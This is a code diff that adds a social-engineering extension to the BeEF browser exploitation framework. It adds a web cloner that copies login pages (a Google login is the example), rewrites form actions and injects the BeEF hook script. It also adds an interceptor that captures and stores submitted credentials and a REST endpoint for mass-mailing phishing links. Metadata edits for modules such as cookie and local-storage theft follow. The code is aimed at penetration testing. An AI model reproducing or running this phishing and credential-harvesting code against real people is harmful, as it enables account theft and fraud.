extensions/social_engineering/models/mass_mailer.rb
Normal file
@@ -0,0 +1,33 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
|
||||
class Massmailer
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extension_seng_massmailer'
|
||||
|
||||
property :id, Serial
|
||||
|
||||
#todo fields
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
36
extensions/social_engineering/models/web_cloner.rb
Normal file
@@ -0,0 +1,36 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Core
|
||||
module Models
|
||||
class Webcloner
|
||||
|
||||
include DataMapper::Resource
|
||||
|
||||
storage_names[:default] = 'extension_seng_webcloner'
|
||||
|
||||
property :id, Serial
|
||||
|
||||
property :uri, Text, :lazy => false
|
||||
property :mount, Text, :lazy => false
|
||||
|
||||
has n, :extension_seng_interceptor, 'Interceptor'
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
131
extensions/social_engineering/rest/socialengineering.rb
Normal file
@@ -0,0 +1,131 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
|
||||
module BeEF
|
||||
module Extension
|
||||
module SocialEngineering
|
||||
class SEngRest < BeEF::Core::Router::Router
|
||||
|
||||
config = BeEF::Core::Configuration.instance
|
||||
|
||||
before do
|
||||
error 401 unless params[:token] == config.get('beef.api_token')
|
||||
halt 401 if not BeEF::Core::Rest.permitted_source?(request.ip)
|
||||
headers 'Content-Type' => 'application/json; charset=UTF-8',
|
||||
'Pragma' => 'no-cache',
|
||||
'Cache-Control' => 'no-cache',
|
||||
'Expires' => '0'
|
||||
end
|
||||
|
||||
#Example: curl -H "Content-Type: application/json; charset=UTF-8"
|
||||
#-d '{"url":"https://accounts.google.com/ServiceLogin?service=mail&passive=true&rm=false&continue=
|
||||
#https://mail.google.com/mail/&ss=1&scc=1<mpl=default<mplcache=2", "mount":"/url"}'
|
||||
#-X POST http://127.0.0.1:3000/api/seng/clone_page?token=851a937305f8773ee82f5259e792288cdcb01cd7
|
||||
post '/clone_page' do
|
||||
request.body.rewind
|
||||
begin
|
||||
body = JSON.parse request.body.read
|
||||
uri = body["url"]
|
||||
mount = body["mount"]
|
||||
use_existing = body["use_existing"]
|
||||
|
||||
if uri != nil && mount != nil
|
||||
if (uri =~ URI::regexp).nil? #invalid URI
|
||||
print_error "Invalid URI"
|
||||
halt 401
|
||||
end
|
||||
|
||||
if !mount[/^\//] # mount needs to start with /
|
||||
print_error "Invalid mount (need to be a relative path, and start with / )"
|
||||
halt 401
|
||||
end
|
||||
|
||||
web_cloner = BeEF::Extension::SocialEngineering::WebCloner.instance
|
||||
success = web_cloner.clone_page(uri,mount,use_existing)
|
||||
if success
|
||||
result = {
|
||||
"success" => true,
|
||||
"mount" => mount
|
||||
}.to_json
|
||||
else
|
||||
result = {
|
||||
"success" => false
|
||||
}.to_json
|
||||
end
|
||||
end
|
||||
|
||||
rescue Exception => e
|
||||
print_error "Invalid JSON input passed to endpoint /api/seng/clone_page"
|
||||
error 400 # Bad Request
|
||||
end
|
||||
end
|
||||
|
||||
# Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body'
|
||||
#-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7
|
||||
# Example json_body:
|
||||
#{
|
||||
# "template": "default",
|
||||
# "subject": "Hi from BeEF",
|
||||
# "fromname": "BeEF",
|
||||
# "link": "http://www.microsoft.com/security/online-privacy/phishing-symptoms.aspx",
|
||||
# "linktext": "http://beefproject.com",
|
||||
# "recipients": [{
|
||||
# "user1@gmail.com": "Michele",
|
||||
# "user2@antisnatchor.com": "Antisnatchor"
|
||||
#}]
|
||||
#}
|
||||
post '/send_mails' do
|
||||
request.body.rewind
|
||||
begin
|
||||
body = JSON.parse request.body.read
|
||||
|
||||
template = body["template"]
|
||||
subject = body["subject"]
|
||||
fromname = body["fromname"]
|
||||
link = body["link"]
|
||||
linktext = body["linktext"]
|
||||
|
||||
if template.nil? || subject.nil? || fromname.nil? || link.nil? || linktext.nil?
|
||||
print_error "All parameters are mandatory."
|
||||
halt 401
|
||||
end
|
||||
|
||||
if (link =~ URI::regexp).nil?#invalid URI
|
||||
print_error "Invalid link or linktext"
|
||||
halt 401
|
||||
end
|
||||
|
||||
recipients = body["recipients"][0]
|
||||
|
||||
recipients.each do |email,name|
|
||||
if !/\b[A-Z0-9._%a-z\-]+@(?:[A-Z0-9a-z\-]+\.)+[A-Za-z]{2,4}\z/.match(email) || name.nil?
|
||||
print_error "Email [#{email}] or name [#{name}] are not valid/null."
|
||||
halt 401
|
||||
end
|
||||
end
|
||||
|
||||
mass_mailer = BeEF::Extension::SocialEngineering::MassMailer.instance
|
||||
mass_mailer.send_email(template, fromname, subject, link, linktext, recipients)
|
||||
rescue Exception => e
|
||||
print_error "Invalid JSON input passed to endpoint /api/seng/clone_page"
|
||||
error 400
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
61
extensions/social_engineering/web_cloner/interceptor.rb
Normal file
@@ -0,0 +1,61 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module SocialEngineering
|
||||
require 'sinatra/base'
|
||||
class Interceptor < Sinatra::Base
|
||||
|
||||
configure do
|
||||
set :show_exceptions, false
|
||||
end
|
||||
|
||||
# intercept GET
|
||||
get "/" do
|
||||
print_info "GET request from IP #{request.ip}"
|
||||
print_info "Referer: #{request.referer}"
|
||||
cloned_page = settings.cloned_page
|
||||
cloned_page
|
||||
end
|
||||
|
||||
# intercept POST
|
||||
post "/" do
|
||||
print_info "POST request from IP #{request.ip}"
|
||||
request.body.rewind
|
||||
data = request.body.read
|
||||
print_info "Intercepted data:"
|
||||
print_info data
|
||||
|
||||
interceptor_db = BeEF::Core::Models::Interceptor.new(
|
||||
:webcloner_id => settings.db_entry.id,
|
||||
:post_data => data,
|
||||
:ip => request.ip
|
||||
)
|
||||
interceptor_db.save
|
||||
|
||||
if settings.frameable
|
||||
print_info "Page can be framed :-) Loading original URL into iFrame..."
|
||||
"<html><head><script type=\"text/javascript\" src=\"#{settings.beef_hook}\"></script>\n</head></head><body><iframe src=\"#{settings.redirect_to}\" style=\"border:none; background-color:white; width:100%; height:100%; position:absolute; top:0px; left:0px; padding:0px; margin:0px\"></iframe></body></html>"
|
||||
else
|
||||
print_info "Page can not be framed :-) Redirecting to original URL..."
|
||||
redirect settings.redirect_to
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
178
extensions/social_engineering/web_cloner/web_cloner.rb
Normal file
@@ -0,0 +1,178 @@
|
||||
#
|
||||
# Copyright 2012 Wade Alcorn wade@bindshell.net
|
||||
#
|
||||
# Licensed under the Apache License, Version 2.0 (the "License");
|
||||
# you may not use this file except in compliance with the License.
|
||||
# You may obtain a copy of the License at
|
||||
#
|
||||
# http://www.apache.org/licenses/LICENSE-2.0
|
||||
#
|
||||
# Unless required by applicable law or agreed to in writing, software
|
||||
# distributed under the License is distributed on an "AS IS" BASIS,
|
||||
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
||||
# See the License for the specific language governing permissions and
|
||||
# limitations under the License.
|
||||
#
|
||||
module BeEF
|
||||
module Extension
|
||||
module SocialEngineering
|
||||
class WebCloner
|
||||
include Singleton
|
||||
|
||||
|
||||
def initialize
|
||||
@http_server = BeEF::Core::Server.instance
|
||||
@config = BeEF::Core::Configuration.instance
|
||||
@cloned_pages_dir = "#{File.expand_path('../../../../extensions/social_engineering/web_cloner', __FILE__)}/cloned_pages/"
|
||||
@beef_hook = "http://#{@config.get('beef.http.host')}:#{@config.get('beef.http.port')}#{@config.get('beef.http.hook_file')}"
|
||||
end
|
||||
|
||||
def clone_page(url, mount, use_existing)
|
||||
print_info "Cloning page at URL #{url}"
|
||||
uri = URI(url)
|
||||
output = uri.host
|
||||
output_mod = "#{output}_mod"
|
||||
user_agent = @config.get('beef.extension.social_engineering.web_cloner.user_agent')
|
||||
|
||||
success = false
|
||||
|
||||
# Sometimes pages use Javascript/custom logic to submit forms. In these cases even having a powerful parser,
|
||||
# there is no need to implement the complex logic to handle all different cases.
|
||||
# We want to leave the task to modify the xxx_mod file to the BeEF user, and serve it through BeEF after modification.
|
||||
# So ideally, if the the page needs custom modifications, the web_cloner usage will be the following:
|
||||
# 1th request. {"uri":"http://example.com", "mount":"/"} <- clone the page, and create the example.com_mod file
|
||||
# - the user modify the example.com_mod file manually
|
||||
# 2nd request. {"uri":"http://example.com", "mount":"/", "use_existing":"true"} <- serve the example.com_mod file
|
||||
#
|
||||
if use_existing.nil? || use_existing == false
|
||||
begin #,"--background"
|
||||
IO.popen(["wget", "#{url}","-c", "-k", "-O", "#{@cloned_pages_dir + output}", "-U", "#{user_agent}","--no-check-certificate"], 'r+') do |wget_io| end
|
||||
success = true
|
||||
rescue Exception => e
|
||||
print_error "Errors executing wget: #{e}"
|
||||
print_error "Looks like wget is not in your PATH. If 'which wget' returns null, it means you don't have 'wget' in your PATH."
|
||||
end
|
||||
|
||||
if success
|
||||
File.open("#{@cloned_pages_dir + output_mod}", 'w') do |out_file|
|
||||
File.open("#{@cloned_pages_dir + output}", 'r').each do |line|
|
||||
# Modify the <form> line changing the action URI to / in order to be properly intercepted by BeEF
|
||||
if line.include?("<form ")
|
||||
line_attrs = line.split(" ")
|
||||
c = 0
|
||||
cc = 0
|
||||
#todo: probably doable also with map!
|
||||
# modify the form 'action' attribute
|
||||
line_attrs.each do |attr|
|
||||
if attr.include? "action=\""
|
||||
print_info "Form action found: #{attr}"
|
||||
break
|
||||
end
|
||||
c += 1
|
||||
end
|
||||
line_attrs[c] = "action=\"#{mount}\""
|
||||
|
||||
#todo: to be tested, needed in case like yahoo
|
||||
# delete the form 'onsubmit' attribute
|
||||
#line_attrs.each do |attr|
|
||||
# if attr.include? "onsubmit="
|
||||
# print_info "Form onsubmit event found: #{attr}"
|
||||
# break
|
||||
# end
|
||||
# cc += 1
|
||||
#end
|
||||
#line_attrs[cc] = ""
|
||||
|
||||
mod_form = line_attrs.join(" ")
|
||||
print_info "Form action value changed in order to be intercepted :-D"
|
||||
out_file.print mod_form
|
||||
# Add the BeEF hook
|
||||
elsif line.include?("</head>") && @config.get('beef.extension.social_engineering.web_cloner.add_beef_hook')
|
||||
out_file.print add_beef_hook(line)
|
||||
print_info "BeEF hook added :-D"
|
||||
else
|
||||
out_file.print line
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
if File.size("#{@cloned_pages_dir + output}") > 0
|
||||
print_info "Page at URL [#{url}] has been cloned. Modified HTML in [cloned_paged/#{output_mod}]"
|
||||
|
||||
file_path = @cloned_pages_dir + output_mod # the path to the cloned_pages directory where we have the HTML to serve
|
||||
|
||||
# Check if the original URL can be framed
|
||||
frameable = is_frameable(url)
|
||||
|
||||
interceptor = BeEF::Extension::SocialEngineering::Interceptor
|
||||
interceptor.set :redirect_to, url
|
||||
interceptor.set :frameable, frameable
|
||||
interceptor.set :beef_hook, @beef_hook
|
||||
interceptor.set :cloned_page, get_page_content(file_path)
|
||||
interceptor.set :db_entry, persist_page(url,mount)
|
||||
|
||||
@http_server.mount("#{mount}", interceptor.new)
|
||||
print_info "Mounting cloned page on URL [#{mount}]"
|
||||
@http_server.remap
|
||||
success = true
|
||||
else
|
||||
print_error "Error cloning #{url}. Be sure that you don't have errors while retrieving the page with 'wget'."
|
||||
success = false
|
||||
end
|
||||
|
||||
success
|
||||
end
|
||||
|
||||
private
|
||||
# Replace </head> with <BeEF_hook></head>
|
||||
def add_beef_hook(line)
|
||||
line.gsub!("</head>","<script type=\"text/javascript\" src=\"#{@beef_hook}\"></script>\n</head>")
|
||||
line
|
||||
end
|
||||
|
||||
private
|
||||
# check if the original URL can be framed. NOTE: doesn't check for framebusting code atm
|
||||
def is_frameable(url)
|
||||
result = true
|
||||
uri = URI(url)
|
||||
http = Net::HTTP.new(uri.host, uri.port)
|
||||
if uri.scheme == "https"
|
||||
http.use_ssl = true
|
||||
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
|
||||
end
|
||||
request = Net::HTTP::Get.new(uri.request_uri)
|
||||
response = http.request(request)
|
||||
frame_opt = response["X-Frame-Options"]
|
||||
|
||||
if frame_opt != nil
|
||||
if frame_opt.casecmp("DENY") == 0 || frame_opt.casecmp("SAMEORIGIN") == 0
|
||||
result = false
|
||||
end
|
||||
end
|
||||
print_info "Page can be framed: [#{result}]"
|
||||
result
|
||||
end
|
||||
|
||||
def get_page_content(file_path)
|
||||
file = File.open(file_path,'r')
|
||||
cloned_page = file.read
|
||||
file.close
|
||||
cloned_page
|
||||
end
|
||||
|
||||
def persist_page(uri, mount)
|
||||
webcloner_db = BeEF::Core::Models::Webcloner.new(
|
||||
:uri => uri,
|
||||
:mount => mount
|
||||
)
|
||||
webcloner_db.save
|
||||
webcloner_db
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -22,5 +22,5 @@ beef:
|
||||
description: "This module will retrieve rapid history extraction through non-destructive cache timing.\nBased on work done at http://lcamtuf.coredump.cx/cachetime/"
|
||||
authors: ["keith_lee @keith55 http://milo2012.wordpress.com"]
|
||||
target:
|
||||
working: ["FF","IE"]
|
||||
not_working: ["O","C","S"]
|
||||
working: ["FF", "IE"]
|
||||
not_working: ["O", "C", "S"]
|
||||
|
||||
@@ -17,11 +17,11 @@ beef:
|
||||
module:
|
||||
ajax_fingerprint:
|
||||
enable: true
|
||||
category: ["Browser","Hooked Domain"]
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Fingerprint Ajax"
|
||||
description: "Fingerprint Ajax and JS libraries present on the hooked page."
|
||||
authors: ["qswain"]
|
||||
target:
|
||||
working: ["FF","S"]
|
||||
working: ["FF", "S"]
|
||||
not_working: ["C"]
|
||||
|
||||
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
alert_dialog:
|
||||
enable: true
|
||||
category: ["Browser","Hooked Domain"]
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Create Alert Dialog"
|
||||
description: "Sends an alert dialog to the hooked browser."
|
||||
authors: ["wade", "bm"]
|
||||
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
deface_web_page:
|
||||
enable: true
|
||||
category: ["Browser","Hooked Domain"]
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Replace Content (Deface)"
|
||||
description: "Overwrite the page, title and shortcut icon on the hooked page."
|
||||
authors: ["antisnatchor"]
|
||||
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_cookie:
|
||||
enable: true
|
||||
category: ["Browser","Hooked Domain"]
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Get Cookie"
|
||||
description: "This module will retrieve the session cookie from the current page."
|
||||
authors: ["bcoles"]
|
||||
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_local_storage:
|
||||
enable: true
|
||||
category: ["Browser","Hooked Domain"]
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Get Local Storage"
|
||||
description: "Extracts data from the HTML5 localStorage object."
|
||||
authors: ["bcoles"]
|
||||
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_page_html:
|
||||
enable: true
|
||||
category: ["Browser","Hooked Domain"]
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Get Page HTML"
|
||||
description: "This module will retrieve the HTML from the current page."
|
||||
authors: ["bcoles"]
|
||||
|
||||
@@ -17,7 +17,7 @@ beef:
|
||||
module:
|
||||
get_page_links:
|
||||
enable: true
|
||||
category: ["Browser","Hooked Domain"]
|
||||
category: ["Browser", "Hooked Domain"]
|
||||
name: "Get Page HREFs"
|
||||
description: "This module will retrieve HREFs from the target page."
|
||||
authors: ["vo"]
|
||||
|
||||